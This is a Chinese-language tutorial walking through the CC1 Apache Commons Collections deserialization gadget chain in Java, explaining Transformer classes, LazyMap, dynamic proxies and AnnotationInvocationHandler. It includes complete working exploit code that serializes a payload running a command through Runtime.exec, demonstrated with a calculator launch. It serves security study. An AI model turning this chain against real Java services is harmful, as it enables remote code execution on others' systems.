Java安全漫谈-CC1篇
环境准备
- 这条链在 Java 8u71 以后就不能利用了,这里使用的环境是 Java8u66

- 另外需要取消勾选此处两个
Enable
IDEA中Debug时调试器会调用一些toString方法,从而造成非预期的命令执行

前置知识
Transformer 是一个接口,只有一个transformer()方法
ChainedTransformer是实现了transformer接口的类,该类会对传入的Transformer数组进行链式调用。即将前一个Transformer的执行结果当作参数传递到下一个,直至全部Transformer执行完毕后返回

ConstantTransformer也是实现了Transform接口的类,它的作用是直接返回传入的对象,这里将该类作为调用链的开端

- 示例:这里传入的是
Runtime.getRuntime(),所以将会返回Runtime对象
Java 1 2 3 4 5 6 7 8 9 10 11
| public class TestCC { public static void main(String[] args) { ConstantTransformer ct = new ConstantTransformer(Runtime.class); Object transform = ct.transform(1); System.out.println(transform); } }
|
InvokerTransformer也是实现了Transformer接口的类,该类的作用是通过反射调用输入对象的指定方法,并将调用结果返回,这个正是执行恶意命令的核心类

- 示例:以
Runtime.getRuntime().exec(String command)为例,该方法接收一个String类型的参数
Java 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| package deserialization;
import org.apache.commons.collections.functors.InvokerTransformer;
import java.io.IOException;
public class TestCC { public static void main(String[] args) throws IOException {
InvokerTransformer exec = new InvokerTransformer( "exec", new Class[]{String.class}, new Object[]{ "open -a Calculator" } ); exec.transform(Runtime.getRuntime()); } }
|
Java动态代理
Java 动态代理,我的理解就是可以对一个实例对象中的方法进行监听(实例在调用方法时会触发invoke()方法),并且在特定方法被调用时,触发一些自定义的处理操作。
创建一个处理器类,该类将接收一个Map对象并进行处理。这里实例在调用方法时会输出方法名,并且在调用Map对象的get()方法时,返回特定字符串
Java 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| package deserialization;
import java.lang.reflect.InvocationHandler; import java.lang.reflect.Method; import java.util.Map;
public class PorxyHandler implements InvocationHandler { protected Map map; public PorxyHandler(Map map) { this.map = map; }
@Override public Object invoke(Object proxy, Method method, Object[] args) throws Throwable { String methodName = method.getName(); System.out.println("Hooking: " + methodName);
if (methodName.compareTo("get") == 0) { return "Hacked Object"; }
return method.invoke(this.map, args); }
}
|
向处理器类传入一个HashMap,并使用代理类Proxy将其实例化。当该实例对象调用方法,将触发处理器类PorxyHandler#invoke()方法
Java 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| package deserialization;
import java.lang.reflect.Proxy; import java.util.HashMap; import java.util.Map;
public class ProxyApp { public static void main(String[] args) { PorxyHandler porxyHandler = new PorxyHandler(new HashMap());
Map proxyMap = (Map) Proxy.newProxyInstance( Map.class.getClassLoader(), new Class[] {Map.class}, porxyHandler );
proxyMap.put("hello", "world");
String res = (String) proxyMap.get("hello"); System.out.println(res);
} }
|

利用链分析
整条利用链可以分为两部分,前半部分是构造transformers链,后半部分是调用其transformer方法
利用链:
Java 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
|
|
完整代码:
Java 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| public InvocationHandler getObject(final String command) throws Exception { final String[] execArgs = new String[] { command }; final Transformer transformerChain = new ChainedTransformer( new Transformer[]{ new ConstantTransformer(1) } ); final Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer( "getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] } ), new InvokerTransformer( "invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] } ), new InvokerTransformer( "exec", new Class[] { String.class }, execArgs ), new ConstantTransformer(1) };
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
Reflections.setFieldValue(transformerChain, "iTransformers", transformers);
return handler; }
|
综合前面的前置知识,可以知道前半部分先构造了一个transformers链
Java 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
|
final Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer( "getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] } ), new InvokerTransformer( "invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] } ), new InvokerTransformer( "exec", new Class[] { String.class }, new String[] { "open -a Calculator" } ), new ConstantTransformer(1) };
|
寻找漏洞触发点
前面只是构造了 transformers 链,还需要找到一个transform()方法将其触发
接着下面创建了一个HashMap实例,然后调用LazyMap.decorate()方法,跟进后发现调用了LazyMap的构造函数,传入的Transformer赋值给this.factory。并且该类的构造函数为proteccted,因此不能直接调用。

在该类中搜索this.factory,发现在LazyMap#get()方法中触发了transform(),前提是传入的key不在 Map 中

需要注意的是,这里调用LazyMap.decorate()方法时所传入的参数类型是Map和Transformer对象,而不能直接传入前面所构造的Transformer[]数组,因此这里还构造了一个ChainedTransformer对象。

这里构造对象时,作者在创建了一个新的Transformer[]对象传入,而不是直接传入所构造的transformers调用链。目的是为了避免本地调试时触发命令执行
P牛在《Java安全漫谈》中也有相应的解释:
为了避免本地调试时触发命令执⾏,我构造 LazyMap 的时候先⽤了⼀个⼈畜⽆害的 fakeTransformers 对象,等最后要⽣成 Payload 的时候,再把真正的 transformers 替换进去。
如果直接传入transformers,并调用LazyMap#get()一个不存在的key。这样运行后就会直接触发恶意代码,弹出计算器。示例如下:
Java 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
| package deserialization;
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap;
import java.util.HashMap; import java.util.Map;
public class TestCC { public static void main(String[] args) throws Exception { final Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer( "getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] } ), new InvokerTransformer( "invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] } ), new InvokerTransformer( "exec", new Class[] { String.class }, new String[] { "open -a Calculator" } ), new ConstantTransformer(1) };
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap(); Map lazyMap = LazyMap.decorate(innerMap, transformerChain); lazyMap.get("test"); } }
|
AnnotationInvocationHandler
上⾯的代码执⾏示例代码只是⼀个⽤来在本地测试的类。在实际反序列化中,需要找到一个类,在它进行反序列化时,**readObject()**中也存在**get()**方法
继续往下看,跟进Gadgets类后可以看到,这里使用sun.reflect.annotation.AnnotationInvocationHandler创建了实例


继续跟进sun.reflect.annotation.AnnotationInvocationHandler,发现该类中的invoke()方法触发了get()

但readObject()和invoke()中的get()方法有什么联系呢,或者说应该如何才能触发invoke()方法呢,此时就需要用到了 Java 动态代理
这里的AnnotationInvocationHandler其实继承了InvocationHandler,也就是说用AnnotationInvocationHandler对LazyMap对象进行代理,那么在readObject的时候,只要调用任意方法,就会进入到AnnotationInvocationHandler#invoke方法中,进而触发我们的LazyMap#get
最后的反射
上文也说了,为了避免本地调试时触发命令执行,作者在构造了ChainedTransformer对象时,创建了一个新的Transformer[]对象传入,但是这个对象并没有恶意代码。所以这里还需要通过反射将真正恶意的transformers链替换进去:

利用链构造
综上所述:
- 构造
transformers,主要通过transformer调用链实现反射触发恶意代码
Java 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| final Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer( "getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] } ), new InvokerTransformer( "invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] } ), new InvokerTransformer( "exec", new Class[] { String.class }, new String[] { "open -a Calculator" } ), new ConstantTransformer(1) };
Transformer transformerChain = new ChainedTransformer(transformers);
|
Java 1 2 3
| Map innerMap = new HashMap(); Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
|
- 实例化代理对象。这里不能直接
new对象,需要通过反射获取AnnotationInvocationHandler构造函数进行构造。
Java 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor<?> annoConstructor = clazz.getDeclaredConstructor(Class.class, Map.class); annoConstructor.setAccessible(true);
InvocationHandler lazyMapHandler = (InvocationHandler) annoConstructor.newInstance(Retention.class, lazyMap);
Map proxyMap = (Map) Proxy.newProxyInstance( Map.class.getClassLoader(), new Class[]{Map.class}, lazyMapHandler );
|
这里的proxyMap类型是Map,不能直接对其进行序列化,因为入口点是 AnnotationInvocationHandler#readObject,所以需要用AnnotationInvocationHandler对这个proxyMap进行包裹
Java 1 2 3
| InvocationHandler proxyMapHandler = (InvocationHandler) annoConstructor.newInstance(Retention.class, proxyMap);
|
需要分清上面lazyMapHandler和proxyMapHandler两个Handler:
第一个lazyMapHandler是用于实例化代理对象,当调用代理对象的方法时会被转发到invoke(),从而触发LazyMap中的get()方法
第二个proxyMapHandler是为了执行代理类proxyMap的任意方法,从而触发第一处的invoke()方法
完整代码如下:
Java 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81
| package deserialization;
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap;
import java.lang.annotation.Retention; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.util.HashMap; import java.util.Map;
import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream;
public class DemoCC1 { public static void main(String[] args) throws Exception { final Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer( "getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] } ), new InvokerTransformer( "invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] } ), new InvokerTransformer( "exec", new Class[] { String.class }, new String[] { "open -a Calculator" } ), new ConstantTransformer(1) };
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap(); Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor<?> annoConstructor = clazz.getDeclaredConstructor(Class.class, Map.class); annoConstructor.setAccessible(true);
InvocationHandler lazyMapHandler = (InvocationHandler) annoConstructor.newInstance(Retention.class, lazyMap);
Map proxyMap = (Map) Proxy.newProxyInstance( Map.class.getClassLoader(), new Class[]{Map.class}, lazyMapHandler );
InvocationHandler proxyMapHandler = (InvocationHandler) annoConstructor.newInstance(Retention.class, proxyMap);
ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(proxyMapHandler); oos.close(); baos.close();
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(baos.toByteArray())); ois.readObject(); ois.close();
} }
|
反序列化触发
这里在AnnotationInvocationHandle#readObject()中打下断点开始调试,此处的this.memberValues其实就是LazyMap,而前面用AnnotationInvocationHandler对LazyMap对象进行代理。也就是说只要调用任意方法,就会进入到AnnotationInvocationHandler#invoke()方法中

在AnnotationInvocationHandler#invoke()方法中的这行打个断点,因为此处this.memberValues触发了get()方法,那么就会触发所代理的LazyMap#get()

可以跟进看看,确实跳转到了LazyMap#get()。这里当key不在这个 Map 对象中,则会调用transform(),从而完成触发恶意代码

其它
发现 ysoserial 中的Transformer[]数组最后增加了一个ConstantTransformer(1),目的是为了清除报错信息
Java 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| final Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer( "getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] } ), new InvokerTransformer( "invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] } ), new InvokerTransformer( "exec", new Class[] { String.class }, new String[] { "open -a Calculator" } ), new ConstantTransformer(1) };
Transformer transformerChain = new ChainedTransformer(transformers);
|